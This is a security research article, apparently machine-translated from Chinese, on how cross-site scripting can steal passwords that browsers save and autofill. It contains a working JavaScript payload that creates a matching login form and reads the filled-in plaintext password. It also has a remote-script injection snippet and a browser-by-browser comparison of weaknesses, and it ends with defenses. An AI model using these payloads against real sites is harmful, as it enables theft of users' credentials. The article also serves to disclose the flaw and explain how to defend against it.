XSS attack: Get the plaintext password that the browser remembers

Cosine (@evilcos)

0x01. XSS multiple ways to get plaintext passwords

I have felt the great innovation of the web trend, especially the recent HTML5 is getting more and more fire. Browsers in the client partition the Web OS, as long as the user experience good functionality, the browser will learn from each other, and then to implement, but there are always some differences, some of the difference is the user experience, and some may bring security issues.

This article is to describe in depth the browser to remember the user password This mechanism brings about the security problems and implementation of a number of differences. Hackers how to get through the tricks of the browser to save passwords, plaintext.

What are the ways in which XSS obtains plaintext passwords before returning to the XSS itself?

1. By means of DHTML fishing

For example, document.write out a landing page, or a login box. That is, how the target website is logged in, and how it is simulated through the DOM. It's hard for users to distinguish between phishing in the same domain, and it's tragic if you re-enter your password to log in.

2. Hook The password box via JavaScript

Satisfy an event (such as Onsubmit/onblur/onchange, etc.) and record it.

3. Keyboard logger functionality via JavaScript

Listen to user keystroke events in the form, record keystrokes, and sometimes the effect is pretty good.

The above three methods are everyone in use, the effect is not the same, this time I want to mention a new way: by using the browser to save the password mechanism to achieve the purpose of obtaining plaintext password, the effect appears more direct.

0x02. The browser remembers the password mechanism

Now back to the browser of this mechanism, the earliest is which browser implementation, I am too lazy to research, may be ie. When the user logs in, the browser will prompt to save the password, you can see the following address online my test 8 browsers:

http://evilcos.me/lab/xss_pwd/

Note: This is also the demo address of this article, the test browser is:

Chrome (v 16.0.912.75 m)
IE9
IE8
Firefox (v 9)
Opera (v 11.60)
Safari (v 5.1.2)
Maxthon (v 3.2.2.1000)
Sogou (v 3.0.0.3000)

The password is saved in order to improve the user experience, eliminating the need to lose password every time, before this mechanism is often through the authentication of local cookies, perhaps because not all sites are using persistent cookies, the browser began to choose this way. And most modern browsers have a mechanism: cloud synchronization, in addition to bookmarks, personal preferences, but also synchronize the browser to remember the password, so that users can sync their "habits" anywhere. Some authentication cookies are bound to the IP, so the synchronization cookie is not good to make. In short, the password this thing is convenient, but also too abused, abuse has a risk, but also came a cloud synchronization, hackers excited.

Before the browser remembers the password mechanism, everyone should know that there is a very hot mechanism: Form AutoFill! The security risk that has occurred is that because this autofill value is shared across domains, an attacker could place a page in his or her domain, and the user's browser would automatically populate the page's form (such as email, home address, phone number, and so on, if the user's browser remembers those values), and then this You can get these values by JavaScript on a single page. These values are OK, attackers don't necessarily like them, but plaintext passwords are different.

Remember that the password mechanism needs to follow the same-origin policy, but if you have XSS you can ignore this same-origin policy, inject JavaScript to get this plaintext password: P

Let me take a look at Chrome for an in-depth explanation of how an attacker can get your plaintext password through this mechanism. The mechanism of opera and IE is the safest, and the Sogou browser is the least secure.

0x03. Get the password that Chrome remembers

First Look at Chrome,demo address: http://evilcos.me/lab/xss_pwd/. You can enter admin/1234567, and then login to try. When the browser pops up to save the password prompt, select Save. Reload the demo address to see that the browser has automatically populated the password. Clicking the button "See ur pwd" will pop up the password you entered in plaintext.

In fact, you see the page source code is not see the password, this password is the browser to determine the page loaded, found that the form has a password entry, automatically populate the last record of the user name and password, like (or that is) a DOM operation, dynamic population. Since it is DOM operation, then after this we control JavaScript also to a DOM operation, this time is read, the value of the password entry read out, is not the plaintext password? Right...... That's it!

Knowing the process, the idea of evil was born ...

This mechanism follows the same-origin policy, so if there is XSS on any page within a domain, you should be able to dynamically create a form with the same user name and password form items through the DOM, and then wait for the browser to automatically populate the password, and then manipulate the value in the password entry through the DOM.
Start experimenting!

This page http://evilcos.me/lab/xss_pwd/a form like this:

<form method= "POST" action= "." ><label for= "username" >user: </label><input id= "username" name= "username" type= "text" class= "text" Value= ""/><label for= "password" >pass: </label><input id= "password" name= "password" type= "password "class=" text "value=" "/><input type=" Submit "class=" Submit "value=" LOGIN "/><input type=" hidden "name=" Next "value=" "/></form>

How does the browser remember this form to ensure uniqueness? There are several key values (different browsers have differences, but little impact):

1. In order to follow the same origin policy, domain name required: evilcos.me

2. Need a <form> tag

3. Require ID or name for username username <input> form Item

4. Password <input> form items that require an ID or name of password

If this is the case, after the attacker discovers the same domain XSS, it is time to construct a payload, which is used to automatically create such a form that the form browser is able to recognize (that is, the form that remembers the password previously: P), and must come out before the browser starts to autofill the password (otherwise it won't get the padding value), and finally the value of the table item must begin to get after the browser has populated the password (otherwise the obtained value is empty).

The condition seems very harsh, which step time is not good, the attack will fail. For this scenario I have constructed a payload, as follows:

function Create_form (user) {/* Gets the plaintext password */var f = document.createelement ("form");d ocument.getelementsbytagname ("Body") [ 0].appendchild (f); var e1 = document.createelement ("input"); E1.type = "text"; e1.name = E1.id = "username"; e1.value = user; F.appendchild (E1), var e = document.createelement ("input"), E.name = E.type = e.id = "password"; F.appendchild (e); SetTimeout (function () {alert ("I Can see ur pwd:" + document.getElementById ("password"). value);}, 3000); Time Competition}create_form (');

You can also view the http://evilcos.me/lab/xss_pwd/xssme.html code, and the execution of the Create_form function takes precedence over the full parsing of the entire document file. This will automatically create a login form (the key part of the form that remembers the password is the same, which is enough), and then wait 3000 milliseconds for the entire document to be resolved (when the browser has completed the password fill), finally get the value in the Password table item, Success!

3000 milliseconds A For loop does not exit until the password value is obtained.

0x04. Insert a problem outside the point: Time competition

This topic is very big, is who first who after the question, not only and the browser parsing processing entire DOM tree's order has the relation, also is related to the goal which we want to achieve, for example browser parsing order a classic example:

<script src= ' http://remote/x.js ' ></script><body></body>

Parsing the remote JS script first, or parsing the <body> tags first?

What if it does?

<script id= ' RFI ' ></script><script>document.getelementbyid (' RFI '). src = ' http://remote/x.js '; </script><body></body>

We had better know the "time competition" and figure out the mechanism of browser parsing so that our payload can achieve our goal.

0x05. Differences in each browser

I'm used to the difference, and like the difference, because it is likely to bring some security problems, but the front-end engineers do not like: &, below I only talk about the key differences, those small, we test themselves, found themselves.

1 Safari Browser

Only Safari has this mechanism turned off by default. When turned on, the effect is as good as chrome!

2.Opera Browser

Opera seems to be very safe, remember the password, the browser does not automatically fill the password, but the user to click on the left of the address bar to the key icon to start filling and login.

3.IE8/9 Browser

IE8/9 and some of this kernel browser (such as the roaming IE mode) is very clever, each login form is bound to the page (hereinafter referred to as the binding page), because the binding page address is unique, the other pages in the same domain can not generate an identical form to obtain the password.

If this is still not safe: P, because XSS can be dynamically iframe into the binding page, and then inject JS to do any DOM operation, it is also very easy to get the value of the password table item, IE is estimated to consider this, the call binding page through the IFRAME is also invalid. And the mechanism of IE is far from so simple, even in the binding page I did not successfully get the password, because IE default does not fill the password, only after entering the correct user name, and triggering a similar onblur event, this password form item will be populated into the corresponding user name password. This process I wanted to simulate through the DOM, but I didn't succeed. Interested students can try.

4. Other Browsers

Other browsers (except Sogou browsers) are almost the same as chrome, mostly because of the WebKit kernel. The following separate talk about Sogou browser bar.

0x06. Sogou Browser "Remember password mechanism" security flaws

Sogou browser in the implementation of this mechanism is estimated to be under some drudgery, the dual-core mode is very good compatibility, but the implementation of security there are some problems, and did not strictly follow the same-origin strategy. In my test found that Sogou does not distinguish between different ports and different sub-domains of the same origin problem.
Passwords, such as those remembered under the www.foo.com domain, can be read in both a.foo.com and www.foo.com:8080 domains.
It's also interesting that our payload even create a password form item (<form> can do without) to get the plaintext password. It seems that Sogou browser in the implementation of this mechanism has the suspicion of Jerry-building, user experience although good.

0x07. How to Defend

From three aspects: Browser, website, user.

1. Browser Defense

IE's mechanism is relatively good, other browsers can learn from, although this will affect some user experience, I think in order to be more secure also worth it, need special attention, ie this mechanism has several key points, do not then according to gourd painting scoop, learn not to let people laugh: P

2. Website Defense

Usually to the form of <form> tag set autocomplete= "off", but not all browsers are compatible, I found that Sogou and roaming browser do not buy this account. Or do not <form> tags, through the JS self-submitted login. Sina Weibo uses these two methods, other websites can learn.

3. User Defense

Mind first, the browser remembers your password to be cautious, no need to remember.

0x08. Summary

To this is not the end, you can try to add one more items or fewer items, different browsers or there are a lot of differences, this people find it yourself.
This security problem I found early, but also public, but did not cause enough attention: P, if an SNS Web site to propagate the XSS worm, with such a payload, do not know how many plaintext password can be obtained ... Or in the fixed-point infiltration process, such as mailbox XSS infiltration, with such a payload, a certain probability may be able to get the plaintext password. How a harm, see how a scene, how to use.

XSS attack: Get the plaintext password that the browser remembers